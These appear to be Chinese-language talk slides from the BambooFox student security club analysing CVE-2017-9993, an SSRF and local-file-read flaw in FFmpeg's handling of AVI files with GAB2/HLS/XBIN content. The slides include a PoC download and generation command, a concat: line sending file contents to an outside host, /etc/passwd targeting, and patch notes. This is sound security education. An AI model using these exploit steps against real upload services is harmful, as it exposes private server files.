CVE-2017-9993
FFmpeg + AVI + HLS
Outline
- 簡介 SSRF
- 漏洞概念
- POC
- 漏洞觸發流程
- 繞過工具
- 細節
- 第二種攻擊
SSRF
Server Side Request Forgery
- 攻擊者造成由服務端(Server) 發出請求,造成的資安漏洞
- 目的多在與訪問外網無法訪問的系統
常見漏洞
- URL 存取 (轉址、分享…)
- 圖片、檔案上傳
- 參考
歷史
CVE-2016-1897 、 CVE-2016-1898
结合 SSRF ,我們可以把 file:// 讀到的內容發送出来
concat: URL1 | URL2 | … | URLN
concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln
Concept
- 透過上傳的影片檔,觸發 SSRF 漏洞
- 繞過檢查:
- FFmpeg 可以處理 HLS playlist
- HLS playlist 會對外部文件做引用
- 利用 AVI 文件中的 GAB2 字幕模組來觸發此功能
- 通過 XBIN 編解碼器 檢索轉換節點的本地文件
- 任意讀取本地文件
PoC
- 下載 PoC code:
wget https://raw.githubusercontent.com/neex/ffmpeg-avi-m3u-xbin/master/gen_xbin_avi.py
- 生成 avi:
python3 gen_xbin_avi.py file:
- 上傳 sxcurity.avi 到會利用 ffmpeg 做處理的網站
- FFmpeg 會自動作出處理:
(這裡我們是生成 output.mp4 檔案)
ffmpeg -i sxcurity.avi output.mp4
- 而在處理成 output.mp4 的時候,就會把一開始寫的
/etc/passwd
以影片的方式,呈現出來
漏洞觸發流程
- 制作一个 AVI 格式的容器文件,其中包含 GAP2 格式的字幕和 HLS 播放列表
- 列表中的外部文件特意寫成 /etc/passwd 等希望讀取内容的敏感文件
- ffmpeg 轉碼這個 AVI 文件時,會將其中的 GAP2 内容與 /etc/passwd 文件中的内容接為最终的字幕
- 字幕文本以 XBIN 編碼,最終會被 FFmpeg 轉為視屏
AVI
- AVI 本身只是提供了這麼一個框架,內部的圖像資料和聲音順據格式可以是任意的編碼形式。
- AVI的檔案結構分為「頭部」,「主體」和「索引」三部分。從尾部的索引可以索引跳到自己想放的位置
- 索引放在了檔案尾部,所以在播放internet串流媒體時已屬力不從心。
FFmpeg
- FFmpeg 是一個自由軟體,可以執行音訊和視訊多種格式的錄影、轉檔、串流功能
- 可以解析 HLS 格式
HLS
- HLS(HTTP Live Streaming): 將影片切成多個片段,適時的求取下一片段
- 不同的備用源中以不同的速率下載同樣的資源
- 在開始一個流媒體會話時,客戶端會下載一個包含 matadata 的 extended M3U (m3u8) playlist 文件,用於尋找可用的媒體流
HLS sample
| #EXTM3U |
| #EXT-X-VERSION:3 |
| #EXT-X-ALLOW-CACHE:YES |
| #EXT-X-MEDIA-SEQUENCE:4454 |
| #EXT-X-TARGETDURATION:4 |
| #EXTINF:3.998, no desc |
| 25133_src/4460.ts |
| #EXTINF:3.992, no desc |
| 25133_src/4461.ts |
| #EXTINF:3.985, no desc |
| 25133_src/4462.ts |
| #EXTINF:3.979, no desc |
| 25133_src/4463.ts |
| #EXTINF:3.996, no desc |
| 25133_src/4464.ts |
參考: TechBridge 技術共筆部落格
sxcurity.avi
![](https://i.imgur.com/syuQPys.png)
- RIFF… : AVI header
- GAB2: 使用 GAB2 字幕模組
- #EXTM3U: GAB2 字幕是使用 HLS 格式 (m3u8 playlist)
m3u8
![](https://i.imgur.com/n9ZZVSl.png)
XBin
- XBin 是一個蠻古老的格式
- 可以顯現視訊,文本
- 可以編程
- 將目標文件作為對象,用 xbin 繪製成字符,可作為合法可看的視頻
所以我們希望 m3u8 playlist 可以長這樣
[AVI header]
[GAB2 header]
[m3u8 header]
[XBIN header]
目标文件
[XBIN footer]
[m3u8 footer]
[AVI footer]
希望形成的格式
data:<format-header>
file:///etc/passwd
data:<format-footer>
但是 FFmpeg 對 body 作檢查了,不允許 data 宣告
#EXT-X-KEY
- 表示如何對每個片段進行解碼
- m3u8 本身對 body 有做檢查,不能直接宣告 xbin 格式
![](https://i.imgur.com/mDNw70R.png)
- 利用 m3u8 支持 AES128 的 CBC 模式加密的特性
- /dev/zero
- AES-128 CBC
- text: 4c4d465e0b95223279487316ffd9ec3a
0000000000000000
- URI -> AES key: 0000000000000000
- #EXT-X-BYTERANGE 設置偏移
![](https://i.imgur.com/uZLih2S.png)
然後用 FFmpeg 做轉檔
![](https://i.imgur.com/QlXhOtG.png)
- 利用 XBIN 格式與 HLS 的特性
- FFmpeg 做轉檔時,因為 HLS 寫好的,會一個片段一個片段的把 /etc/passwd 帶出來
Patch
- 在解析 AVI 時,把 GAB2 字幕限制為常見的 srt 和 ass 格式
- 特殊檔案標頭用白名單過濾 (file://)
So
新的生成檔會長這樣:
![](https://i.imgur.com/hEaWW40.png)
- FFmpeg在 GAB2 字幕裡面看到了 #EXTM3U => HLS
- .txt 會在合成後,把合成檔當成 txt (GOD.txt 不需要存在,他只看 string)
- 在合成大檔案後,就可以看到 /etc/passwd 了
Conclusion
- HLS 協定有其目的
- But HLS 可以引用到外部檔案 (實作)
- 此特性可能讓其未來還有其他漏洞
- 解決方法
NCTU CSC
BambooFox
![](https://i.imgur.com/BRJcexe.jpg)
成立宗旨
- 資安技術與知識傳承
- 促進學生的資安意識與技術
- 協助學校漏洞修補、增進校園網路安全
簡介
- BambooFox 誕生於交大 DSNS Lab、SQLab 以及系計中
- 成員包含交大、清大、中央、中原
- 由 Mango King 與 Banana Apple 成立學校社團 網路安全策進會
- 實驗室 + 系計中 + 社團 + 戰隊 + 學長前輩們
- 主要以 CTF 題目為練習目標
CTF
- Capture The Flag,簡稱 CTF
- 由主辦單位設計帶有漏洞的程式或網站,讓參賽者進行解題或互相攻防
- 培育資安人才
- 藉由參與 CTF 競賽,提升自我程度,學習許多神奇技巧,出國玩,拿獎金 (X)
社群效應
- 舉辦/參加 研討會,與台灣各地人才交流、技術分享
- 學長姊願意回來指導
- 認識一些資安界大大
BambooFox 讀書會
- 每月一次
- 新竹地區最大資安聚會 XD
- 每次會有一到兩個分享
- CVE, ZeroDay, 病毒設計, 伺服器管理, 社交工程…
- 題目不限,有興趣的都歡迎來參加 or 分享
- 吃吃喝喝,聊聊天
CVE-2017-9993 FFmpeg + AVI + HLS
{"metaMigratedAt":"2023-06-14T14:07:38.702Z","metaMigratedFrom":"YAML","title":"CVE-2017-9993","breaks":true,"description":"Information Security","lang":"zh-tw","dir":"ltr","robots":"index, follow","GA":"UA-100433652-1","disqus":"hackmd","contributors":"[]"}